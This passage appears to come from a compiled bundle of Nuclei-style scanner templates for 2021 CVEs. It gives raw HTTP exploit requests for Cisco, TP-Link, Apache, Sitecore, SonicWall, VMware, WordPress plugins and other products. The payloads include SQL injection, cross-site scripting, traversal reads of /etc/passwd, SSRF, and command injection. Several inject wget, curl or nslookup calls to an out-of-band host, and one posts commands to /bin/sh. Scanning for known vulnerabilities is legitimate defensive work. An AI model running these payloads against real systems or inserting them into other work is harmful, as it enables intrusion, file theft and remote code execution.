/views/?v=USER&ID=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2Cmd5({{num}})%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%3B--%20- HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-1472","info":{"name":"Cisco Small Business RV Series - OS Command Injection","severity":"critical"},"requests":[{"raw":["POST /upload HTTP/1.1\nHost: {{Hostname}}\nCookie: sessionid='`wget http://{{interactsh-url}}`'\nAuthorization: QUt6NkpTeTE6dmk4cW8=\nContent-Type: multipart/form-data; boundary=---------------------------392306610282184777655655237536\n\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"option\"\n\n5NW9Cw1J\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"destination\"\n\nJ0I5k131j2Ku\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"file.path\"\n\nEKsmqqg0\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"file\"; filename=\"config.xml\"\nContent-Type: application/xml\n\nqJ57CM9\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"filename\"\n\nJbYXJR74n.xml\n-----------------------------392306610282184777655655237536\nContent-Disposition: form-data; name=\"GXbLINHYkFI\"\n\nconfigurationFILE://Configuration/config.xmlconfig-running\n-----------------------------392306610282184777655655237536--\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["\"jsonrpc\":"]}]}]},{"id":"CVE-2021-31682","info":{"name":"WebCTRL OEM <= 6.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">","common/lvl5"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-43062","info":{"name":"Fortinet FortiMail 7.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","FortiMail Click Protection"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21234","info":{"name":"Spring Boot Actuator Logview Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../","{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../","{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../","{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["regex('root:.*:0:0:', body)","status_code == 200"],"condition":"and"},{"type":"dsl","dsl":["contains(body, 'bit app support')","contains(body, 'fonts')","contains(body, 'extensions')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2021-41773","info":{"name":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n","GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n","POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\necho Content-Type: text/plain; echo; {{cmd}}\n"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","name":"RCE","words":["CVE-2021-41773-POC"]},{"type":"regex","name":"LFI","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-41648","info":{"name":"PuneethReddyHC action.php SQL Injection","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/action.php"],"body":"proId=1'&addToCart=1","matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["Warning: mysqli_num_rows() expects parameter 1 to be","xdebug-error xe-warning"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21972","info":{"name":"VMware vSphere Client (HTML5) - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/ui/vropspluginui/rest/services/getstatus"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["VSPHERE-UI-JSESSIONID"],"condition":"and"},{"type":"regex","part":"body","regex":["(Install|Config) Final Progress"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31602","info":{"name":"Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js","{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Anonymous"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24495","info":{"name":"Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://","{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","alert(/{{randstr}}/)"],"condition":"or"},{"type":"word","words":["Marmoset Viewer"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-39165","info":{"name":"Cachet <=2.3.18 - SQL Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))--"],"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"pagination\") && contains(body, \"data\")"],"condition":"and"}]}]},{"id":"CVE-2021-46422","info":{"name":"SDT-CW3B1 1.1.0 - OS Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={{cmd}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","name":"http","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2021-41174","info":{"name":"Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1"],"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","words":["Grafana","frontend_boot_js_done_time_seconds"],"condition":"and"},{"type":"regex","regex":["\"subTitle\":\"Grafana (v8\\.(?:(?:1|0)\\.[0-9]|2\\.[0-2]))"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\"subTitle\":\"Grafana ([a-z0-9.]+)"]}]}]},{"id":"CVE-2021-27748","info":{"name":"IBM WebSphere HCL Digital Experience - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/docpicker/internal_proxy/http/oast.me","{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/oast.me"],"host-redirects":true,"max-redirects":2,"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["Interactsh Server"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-40908","info":{"name":"Purchase Order Management v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername=test'+AND+(SELECT+4458+FROM+(SELECT(SLEEP(6)))JblN)+AND+'orQN'='orQN&password=test\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"status\\\":\\\"incorrect\\\"\")"],"condition":"and"}]}]},{"id":"CVE-2021-27931","info":{"name":"LumisXP <10.0.0 - Blind XML External Entity Attack","severity":"critical"},"requests":[{"raw":["POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1\nHost: {{Hostname}}\n\n\n\n\n]>\n\n&xxe;\n\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-40870","info":{"name":"Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /v1/backend1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nCID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=\n","GET /v1/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["0d95513363fd69b9fee712f333293654"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25120","info":{"name":"Easy Social Feed < 6.2.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type= HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'type' : ''"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24991","info":{"name":"WooCommerce PDF Invoices & Packing Slips WordPress Plugin < 2.10.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=wpo_wcpdf_options_page§ion=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\" style=animation-name:rotation onanimationstart=alert(document.domain) x","WooCommerce PDF Invoices"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41653","info":{"name":"TP-Link - OS Command Injection","severity":"critical"},"requests":[{"raw":["POST /cgi?2 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/plain\nReferer: http://{{Hostname}}/mainFrame.htm\nCookie: Authorization=Basic YWRtaW46YWRtaW4=\n\n[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\ndataBlockSize=64\ntimeout=1\nnumberOfRepetitions=4\nhost=$(echo 127.0.0.1; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}')\nX_TP_ConnName=ewan_ipoe_d\ndiagnosticsState=Requested\n","POST /cgi?7 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/plain\nReferer: http://{{Hostname}}/mainFrame.htm\nCookie: Authorization=Basic YWRtaW46YWRtaW4=\n\n[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2021-25899","info":{"name":"Void Aural Rec Monitor 9.0.0.1 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /AurallRECMonitor/services/svc-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nparam1=dummy'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))dummy)--+dummy¶m2=test\n"],"matchers":[{"type":"dsl","dsl":["duration>=5","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Contacte con el administrador\")"],"condition":"and"}]}]},{"id":"CVE-2021-27310","info":{"name":"Clansphere CMS 2011.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31581","info":{"name":"Akkadian Provisioning Manager - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pme/database/pme/phinx.yml"],"matchers-condition":"and","matchers":[{"type":"word","words":["host:","name:","pass:"],"condition":"and"},{"type":"word","negative":true,"words":["html>"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24947","info":{"name":"WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22005","info":{"name":"VMware vCenter Server - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /analytics/telemetry/ph/api/hyper/send?_c&_i=test HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\ntest_data\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","status_code_2 == 201","contains(body_1, 'VMware vSphere')","content_length_2 == 0"],"condition":"and"}]}]},{"id":"CVE-2021-37704","info":{"name":"phpfastcache - phpinfo Resource Exposure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php","{{BaseURL}}/vendor/phpfastcache/phpfastcache/examples/phpinfo.php"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2021-41826","info":{"name":"PlaceOS 1.2109.1 - Open Redirection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/auth/logout?continue=//interact.sh"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]},{"type":"status","status":[302,301],"condition":"or"}]}]},{"id":"CVE-2021-41291","info":{"name":"ECOA Building Automation System - Directory Traversal Content Disclosure","severity":"high"},"requests":[{"raw":["GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"regex","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-42237","info":{"name":"Sitecore Experience Platform Pre-Auth RCE","severity":"critical"},"requests":[{"raw":["POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml\n\n\n\n    \n    foo\n    \n        \n            \n                2\n                \n                    <_comparison z:Id=\"4\" z:FactoryType=\"a:DelegateSerializationHolder\" z:Type=\"System.DelegateSerializationHolder\" z:Assembly=\"0\"\n                        xmlns=\"http://schemas.datacontract.org/2004/07/System.Collections.Generic\"\n                        xmlns:a=\"http://schemas.datacontract.org/2004/07/System\">\n                        \n                            mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n                            \n                                \n                                \n                                Compare\n                                \n                                \n                                System.String\n                                System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\n                            \n                            Start\n                            \n                            System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n                            System.Diagnostics.Process\n                            System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\n                        \n                        \n                            \n                            \n                            \n                            System.Diagnostics.Process Start(System.String, System.String)\n                            System.Diagnostics.Process Start(System.String, System.String)\n                            8\n                            \n                        \n                        \n                            \n                            \n                            \n                            Int32 Compare(System.String, System.String)\n                            System.Int32 Compare(System.String, System.String)\n                            8\n                            \n                        \n                    \n                \n                2\n                \n                    /c nslookup {{interactsh-url}}\n                    cmd\n                \n            \n        \n    \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["System.ArgumentNullException"]}]}]},{"id":"CVE-2021-40542","info":{"name":"Opensis-Classic 8.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24275","info":{"name":"Popup by Supsystic <1.10.5 - Cross-Site scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20038","info":{"name":"SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat(\"A\", 518)}} HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"prefix_addr":["%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf"],"system_addr":["%08%b7%06%08","%64%b8%06%08"]},"attack":"clusterbomb","matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2021-20092","info":{"name":"Buffalo WSR-2533DHPL2 - Improper Access Control","severity":"high"},"requests":[{"raw":["GET /images/..%2finfo.html HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/info.html\n","GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), base64_decode(\"R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"))}} HTTP/1.1\nHost: {{Hostname}}\nCookie: lang=8; url=ping.html; mobile=false;\nReferer: {{BaseURL}}/info.html\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/x-javascript"]},{"type":"word","words":["/*DEMO*/","addCfg("],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"httoken","group":1,"regex":["base64\\,(.*?)\" border="],"internal":true}]}]},{"id":"CVE-2021-21802","info":{"name":"Advantech R-SeeNet - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"zlo onerror=alert(1) \"","Device Status Graph"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42192","info":{"name":"KONGA 0.14.9 - Privilege Escalation","severity":"high"},"requests":[{"raw":["POST /login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"password\": \"{{password}}\", \"identifier\": \"{{username}}\"}\n","POST /api/user/{{id}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\nContent-Type: application/json;charset=utf-8\n\n{\"token\": \"{{token}}\"}\n","PUT /api/user/{{id}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\nContent-Type: application/json;charset=utf-8\n\n{\"admin\": \"true\", \"passports\": {\"password\": \"{{password}}\", \"protocol\": \"local\"}, \"token\": \"{{token}}\", \"password_confirmation\": \"{{password}}\"}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_2, \"\\\"admin\\\":false\")","contains(body_3, \"\\\"admin\\\":true\")"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"id","group":1,"regex":["\"id\":([0-9]+)"],"internal":true,"part":"body"},{"type":"regex","name":"token","group":1,"regex":["\"token\":\"(.*)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-31250","info":{"name":"CHIYU TCP/IP Converter - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"],"headers":{"Authorization":"Basic OmFkbWlu"},"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["\">"]}]}]},{"id":"CVE-2021-24987","info":{"name":"WordPress Super Socializer <7.13.30 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"facebook_urls\":[[\"\"]]"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3293","info":{"name":"emlog 5.3.1 Path Disclosure","severity":"medium"},"requests":[{"raw":["GET /t/index.php?action[]=aaaa HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["Warning","on line","expects parameter"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25033","info":{"name":"Noptin < 1.6.5 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?noptin_ns=email_click&to=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-3223","info":{"name":"Node RED Dashboard <2.26.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd","{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js"],"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["Node-RED web server is listening"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-24276","info":{"name":"WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-28073","info":{"name":"Ntopng Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css","{{BaseURL}}/lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css"],"matchers-condition":"and","matchers":[{"type":"word","words":["application/json"],"part":"header"},{"type":"word","words":["\"results\":","\"name\":","\"tab\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-29490","info":{"name":"Jellyfin 10.7.2 - Server Side Request Forgery","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Images/Remote?imageUrl=https://oast.me/","{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB"],"stop-at-first-match":true,"matchers":[{"type":"word","part":"body","words":["
 Interactsh Server 
"]}]}]},{"id":"CVE-2021-40868","info":{"name":"Cloudron 6.2 Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":[""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42063","info":{"name":"SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","SAPIKS2"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-32030","info":{"name":"ASUS GT-AC2900 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: asusrouter--\nReferer: {{BaseURL}}\nCookie: asus_token=\\0Invalid; 